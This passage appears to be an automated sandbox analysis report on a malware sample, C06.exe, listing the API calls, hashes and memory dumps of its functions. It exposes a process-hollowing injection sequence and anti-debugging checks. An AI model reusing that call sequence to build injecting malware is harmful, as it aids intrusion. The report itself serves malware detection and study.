Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 92113C79A00208EFDB01DF98CA89E98BBF5AF08351F058094F9489B362D375EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Function 004019A2 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a8f77c5b0aafc3a83b6e9a89fc0125d54fce9978fbcf9d902b8238b221feffd7
Instruction ID: 689da8ed0bf63c85a60a16fbbe407e4b0918199af58fa2149c0a58fdfe32668e
Opcode Fuzzy Hash: a8f77c5b0aafc3a83b6e9a89fc0125d54fce9978fbcf9d902b8238b221feffd7
Instruction Fuzzy Hash: 0E0181B6308105FADB115AD49D52FBA3719AB45751F30453BB613B80F2C53D8512FB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401992 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000007.00000002.2007210830.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_vdhbahw.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 994369af4d0fa0c447a21c659804c9e18bb6abd6db9e85dcf8f049b878b9c4ba
Instruction ID: 9477092311c163758adf26378a137d016a4cc75b4861da4fd192d9fcf75081b0
Opcode Fuzzy Hash: 994369af4d0fa0c447a21c659804c9e18bb6abd6db9e85dcf8f049b878b9c4ba
Instruction Fuzzy Hash: 25016D72304105FADB119AD09C52EAA3729AB48355F30457BB613BD0F2C63D8552EB2B

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: C06.exePID: 6836, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	29.7%
Signature Coverage:	9.4%
Total number of Nodes:	276
Total number of Limit Nodes:	38

Executed Functions

Function 02320110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02320156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0232016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02320255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02320270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02320283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0232029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 023202C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 023202E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02320304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0232032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02320399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 023203BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 023203E1
ResumeThread.KERNELBASE(00000000), ref: 023203ED
ExitProcess.KERNEL32(00000000), ref: 02320412

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 479c2051f3176798748ccc557dd94b6c19b8d158b613e1e38ded675868db033f
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 3FB1D774A00208AFDB44CF98C895F9EBBB5FF88314F248158E508AB391D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00404E94 Relevance: 15.1, APIs: 10, Instructions: 93
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_lopen.KERNEL32(00000000,00000000), ref: 00404EB3
_calloc.LIBCMT ref: 00404EBB

Part of subcall function 00405348: __calloc_impl.LIBCMT ref: 0040535D

_malloc.LIBCMT ref: 00404EC1

Part of subcall function 004053D7: __FF_MSGBANNER.LIBCMT ref: 004053FA
Part of subcall function 004053D7: __NMSG_WRITE.LIBCMT ref: 00405401
Part of subcall function 004053D7: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,00408E85,?,00000001,?,?,00407570,00000018,004A4F08,0000000C,00407601), ref: 0040544E

_calloc.LIBCMT ref: 00404ECB

Part of subcall function 004056E8: __fsopen.LIBCMT ref: 004056F5

_fputwc.LIBCMT ref: 00404EE2
GetTickCount.KERNEL32 ref: 00404F15
GetNamedPipeInfo.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00404F20
LoadResource.KERNEL32(00000000,00000000), ref: 00404F28
GetNumberFormatW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000), ref: 00404F51
PeekNamedPipe.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404F5D

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: NamedPipe_calloc$AllocateCountFormatHeapInfoLoadNumberPeekResourceTick__calloc_impl__fsopen_fputwc_lopen_malloc
String ID:
API String ID: 3757771647-0
Opcode ID: da2848016465e9781c3c9f770b1464be9aaa93a17bd497d78955feb6244c435f
Instruction ID: b4cef3b36b35bb5ee3e62315e4150979ea8575307112b8e4476909c9cb9cd172
Opcode Fuzzy Hash: da2848016465e9781c3c9f770b1464be9aaa93a17bd497d78955feb6244c435f
Instruction Fuzzy Hash: 7E21C5B1502A206AC321BFB6AC49DDF3E9CEF86395710403BF545A21A1D73C4A45CAFE

Uniqueness

Uniqueness Score: -1.00%

Function 00404BF9 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(kernel32.dll), ref: 00404C03
GetProcAddress.KERNEL32(00000000,VirtualProtect), ref: 00404C7D
VirtualProtect.KERNELBASE(00000020,?), ref: 00404CA6

Strings

, xrefs: 00404C8F
kernel32.dll, xrefs: 00404BFE
VirtualProtect, xrefs: 00404C09

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: AddressLibraryLoadProcProtectVirtual
String ID: $VirtualProtect$kernel32.dll
API String ID: 3509694964-2616575124
Opcode ID: 6765ceec34b06d69dfcf2106d36f960ae1b5e966781052005410c97ac032c0b3
Instruction ID: a6118a4ea3d94cf1100268fe02cb124a5220381ef8bee283e15e66db55c54267
Opcode Fuzzy Hash: 6765ceec34b06d69dfcf2106d36f960ae1b5e966781052005410c97ac032c0b3
Instruction Fuzzy Hash: B91103714093C0DEE702E764EC487853EE5E717389F8851ADD184562B6CFBE1118C73A

Uniqueness

Uniqueness Score: -1.00%

Function 00404CAE Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 156
memorylibrarywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FoldStringW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00404CD3
ChangeDisplaySettingsA.USER32(00000000,00000000), ref: 00404CDB
OpenJobObjectA.KERNEL32(00000000,00000000,00000000), ref: 00404CE4
EnumSystemCodePagesA.KERNEL32(00000000,00000000), ref: 00404CEC
GetWindowTextLengthA.USER32(00000000), ref: 00404CF3
CreateHardLinkW.KERNEL32(00000000,00000000,00000000), ref: 00404CFC

Part of subcall function 004056E8: __fsopen.LIBCMT ref: 004056F5

Part of subcall function 00404F91: __getptd.LIBCMT ref: 00405A8A

Part of subcall function 004054DB: __wcstoi64_l.LIBCMT ref: 004054C6

Part of subcall function 00404903: _ldexp.LIBCMT ref: 00404910

Part of subcall function 0040581A: __getptd.LIBCMT ref: 00405826
Part of subcall function 0040581A: _abort.LIBCMT ref: 00405848

GlobalAlloc.KERNELBASE(00000000), ref: 00404D58
GetLastError.KERNEL32 ref: 00404D70
GetCurrentProcessId.KERNEL32 ref: 00404D72
GetLargestConsoleWindowSize.KERNEL32(00000000), ref: 00404DB5
GetComputerNameA.KERNEL32(?,?), ref: 00404DC6
GetCompressedFileSizeW.KERNEL32(00000000,?), ref: 00404DE8
GetOEMCP.KERNEL32 ref: 00404DEE
LoadMenuW.USER32(00000000,00000000), ref: 00404E04
CharToOemBuffW.USER32(00000000,00000000,00000000), ref: 00404E0D
GetCharABCWidthsFloatA.GDI32(00000000,00000000,00000000,?), ref: 00404E1A
GetLastError.KERNEL32 ref: 00404E28
IsProcessInJob.KERNEL32(00000000,00000000,00000000), ref: 00404E4F
BeginUpdateResourceW.KERNEL32(00000000,00000000), ref: 00404E57
AddConsoleAliasW.KERNEL32(00000000,00000000,00000000), ref: 00404E60
AddAtomW.KERNEL32(00000000), ref: 00404E67
GetSystemWindowsDirectoryW.KERNEL32(?,00000000), ref: 00404E75
SetFileApisToANSI.KERNEL32 ref: 00404E7B
LoadLibraryW.KERNELBASE(msimg32.dll), ref: 00404E89

Strings

Gm , xrefs: 00404D78
msimg32.dll, xrefs: 00404E84

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: CharConsoleErrorFileLastLoadProcessSizeSystemWindow__getptd$AliasAllocApisAtomBeginBuffChangeCodeCompressedComputerCreateCurrentDirectoryDisplayEnumFloatFoldGlobalHardLargestLengthLibraryLinkMenuNameObjectOpenPagesResourceSettingsStringTextUpdateWidthsWindows__fsopen__wcstoi64_l_abort_ldexp
String ID: Gm $msimg32.dll
API String ID: 2437437345-3174439446
Opcode ID: ba798bbc3f2f2e7ad8120bc6c4128f231159a2b976cae50d26f7e4cbe0b3efd3
Instruction ID: e6b28aa2fbf78a17e00ff1cc703cc2062f444da94bee802af6c6c31f2eac8889
Opcode Fuzzy Hash: ba798bbc3f2f2e7ad8120bc6c4128f231159a2b976cae50d26f7e4cbe0b3efd3
Instruction Fuzzy Hash: DF416171402560ABC7126762ED4CDDF3E6DFF8A3957005036F659B1461CB3846868BFD

Uniqueness

Uniqueness Score: -1.00%

Function 004058DC Relevance: 22.6, APIs: 15, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 00405927
__mtinit.LIBCMT ref: 0040592D
_fast_error_exit.LIBCMT ref: 00405938
__RTC_Initialize.LIBCMT ref: 0040593E
__ioinit.LIBCMT ref: 00405946
__amsg_exit.LIBCMT ref: 00405951
GetCommandLineA.KERNEL32 ref: 00405957
___crtGetEnvironmentStringsA.LIBCMT ref: 00405962
__setargv.LIBCMT ref: 0040596C
__amsg_exit.LIBCMT ref: 00405977
__setenvp.LIBCMT ref: 0040597D
__amsg_exit.LIBCMT ref: 00405988
__cinit.LIBCMT ref: 0040598F
__amsg_exit.LIBCMT ref: 0040599A
__wincmdln.LIBCMT ref: 004059A0

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp__wincmdln
String ID:
API String ID: 3545360858-0
Opcode ID: 09ca4bdcfc6256fd34da90b83de53980beda5478b644f5e99394ee8a9df5232b
Instruction ID: 498c9aede5f403e00d9a76303e9672c9fdc897c8aca5fe019ea571ca769297bf
Opcode Fuzzy Hash: 09ca4bdcfc6256fd34da90b83de53980beda5478b644f5e99394ee8a9df5232b
Instruction Fuzzy Hash: 5C21A3B1900755D9EB147BB2AA46B7F2664EF00768F10443FF445BE1C2EE7C88419E5D

Uniqueness

Uniqueness Score: -1.00%

Function 02320420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02320533

Strings

d, xrefs: 02320584
mfoaskdfnoa, xrefs: 02320520, 02320523
saodkfnosa9uin, xrefs: 023204DA
0, xrefs: 02320492

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 07fc022b913698a79f4c632c8a56852180cea6f3f52f1f6d96938fff9a0712e0
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 47513B70D08388DEEB15CBD8C849BDDBFB6AF21708F144058E5447F286C3BA5658CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 023205B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 023205EC

Strings

apfHQ, xrefs: 023205E2, 023205E5
o, xrefs: 02320600

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 503741c3a0581660f3fd0381821dc9dd797075e60b7e77fda5ead919797f93f5
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: E8011E70C0425CEEDF14DB98C5583AEBFB5AF51308F148099C4592B342D7B69B5CCBA1

Uniqueness

Uniqueness Score: -1.00%

Function 022897C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 022897EE
Module32First.KERNEL32(00000000,00000224), ref: 0228980E

Memory Dump Source

Source File: 00000008.00000002.2249920572.0000000002289000.00000040.00000020.00020000.00000000.sdmp, Offset: 02289000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2289000_C06.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: efdc8c37b1f69b1acd9becef384de0bc75a4e0562b13bfac83d684be222e24a0
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: B1F096312117126FD7203FF5AC8DBBE76ECAF89625F500628F646951C4DB70E8854A61

Uniqueness

Uniqueness Score: -1.00%

Function 004080DD Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00405920,00000001), ref: 004080F2

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 2e6fff566365b76d370195a00a21db157dff75a0360fee3b9b0a069bdce34ec3
Instruction ID: 10a15019bc5499b930cd3ff99857d699b240ec5eac6f40928c1f00dc31ac3e14
Opcode Fuzzy Hash: 2e6fff566365b76d370195a00a21db157dff75a0360fee3b9b0a069bdce34ec3
Instruction Fuzzy Hash: BDD0A7729543056EDB109F707D0AB633BDCD788395F148476F92CCA690F6B4CA80C584

Uniqueness

Uniqueness Score: -1.00%

Function 02289485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 022894D6

Memory Dump Source

Source File: 00000008.00000002.2249920572.0000000002289000.00000040.00000020.00020000.00000000.sdmp, Offset: 02289000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2289000_C06.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a0448c3c325c1e93219f47882bba73d41c3bbad6613f607f66b7c070e4e882ec
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 1C113C79A00208EFDB01DF98C985E99BBF5EF08351F058094F9489B361D375EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0233F030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0233F0A7
_wcsstr.LIBCMT ref: 0233F14E
_strstr.LIBCMT ref: 0233F3D6
_malloc.LIBCMT ref: 0233F526
_memset.LIBCMT ref: 0233F534
_strstr.LIBCMT ref: 0233F57A
_malloc.LIBCMT ref: 0233F6F5
_memset.LIBCMT ref: 0233F703
_free.LIBCMT ref: 0233F7B5
_free.LIBCMT ref: 0233F7C2

Strings

", xrefs: 0233F640

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: 6f5b611ed3608a9fa2e7898a778190f9d6f730455834aad8e048303b659798cd
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: 7142F471908340ABD721DF24CC48F9B7BE9BF85308F44096DF98997291DB75E609CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 023300D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: d2488f12e28b17e20b979c1b8c3a9777744d8c7105abfe2cf7bdc8582a0b025f
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: 5F528D71D10208DBDF29DFA8C885BDEB7F5BF14308F108169D419A7250EB35AA49CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0232E6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 0232E72D
_wcsstr.LIBCMT ref: 0232E756
_memset.LIBCMT ref: 0232E784

Part of subcall function 0236FC0C: std::exception::exception.LIBCMT ref: 0236FC1F
Part of subcall function 0236FC0C: __CxxThrowException@8.LIBCMT ref: 0236FC34
Part of subcall function 0236FC0C: std::exception::exception.LIBCMT ref: 0236FC4D
Part of subcall function 0236FC0C: __CxxThrowException@8.LIBCMT ref: 0236FC62
Part of subcall function 0236FC0C: std::regex_error::regex_error.LIBCPMT ref: 0236FC74
Part of subcall function 0236FC0C: __CxxThrowException@8.LIBCMT ref: 0236FC82
Part of subcall function 0236FC0C: std::exception::exception.LIBCMT ref: 0236FC9B
Part of subcall function 0236FC0C: __CxxThrowException@8.LIBCMT ref: 0236FCB0

_wcsstr.LIBCMT ref: 0232EA0C
_memset.LIBCMT ref: 0232EE5C

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: ff755f7ad1dbe0af4f12ffcc25fdcf48a68b61f84ba467a29249e2a57a218e7c
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: 3052BF71A002299FDF24CF68C896BAEBBF5FF04304F144569E846AB281D771A949CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0040657C Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0040BFF4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040C009
UnhandledExceptionFilter.KERNEL32(00401D2C), ref: 0040C014
GetCurrentProcess.KERNEL32(C0000409), ref: 0040C030
TerminateProcess.KERNEL32(00000000), ref: 0040C037

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: c261996c4a8b1814648bdf569399d6bb6690b6aecef56ea41f0ade56002d67c8
Instruction ID: 2f5c13a37d00ac72f318432b20a90eca31078d41a524aaf082581347370df938
Opcode Fuzzy Hash: c261996c4a8b1814648bdf569399d6bb6690b6aecef56ea41f0ade56002d67c8
Instruction Fuzzy Hash: F521FAB4800202EFC780DF65EE486453FA8FB2E304F40403EE909A73A1EBB499858F5C

Uniqueness

Uniqueness Score: -1.00%

Function 02330B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: 324cb4b22978ed46366bac77003f2823f3cc0d3aaac78d20e5ae110add5b1992
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: F9427A71D10208DBDF26DFA4C984BDEB7F5BF04308F244169D459A7290EB32AA49CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0232DBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: f6c609e6208b4424b8afc8f5b8be7b020c0ecc2314db5ec10f1daa052ec3d688
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: F0527271E00259DFDB10DFA4C845FAEBBB9FF49704F148198E509AB291DB31AD49CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 023A22C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 023A291E

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 9614bd7966ce339c580e353dbf86e8a7480ebda8db4a90345db3e374475602d4
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 23323EB0E002299BDF619F64CC54BAFB7B9FF45704F0441FAAA0CA6191DB758A80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409DEA Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00009DA8), ref: 00409DEF

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
